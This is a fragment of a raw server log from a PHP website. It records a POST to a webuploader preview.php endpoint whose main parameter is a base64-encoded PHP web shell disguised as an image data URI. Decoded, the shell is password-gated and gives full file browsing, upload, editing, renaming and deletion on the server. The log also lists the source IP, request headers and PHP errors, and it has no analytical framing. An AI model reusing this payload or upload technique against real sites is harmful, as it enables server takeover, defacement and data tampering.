'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:20+08:00 ] 116.213.36.234 POST www.51tianwei.com/Content/webuploader/0.1.15/server/preview.php [运行时间:0.002924s] [吞吐率:342.00req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Content', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 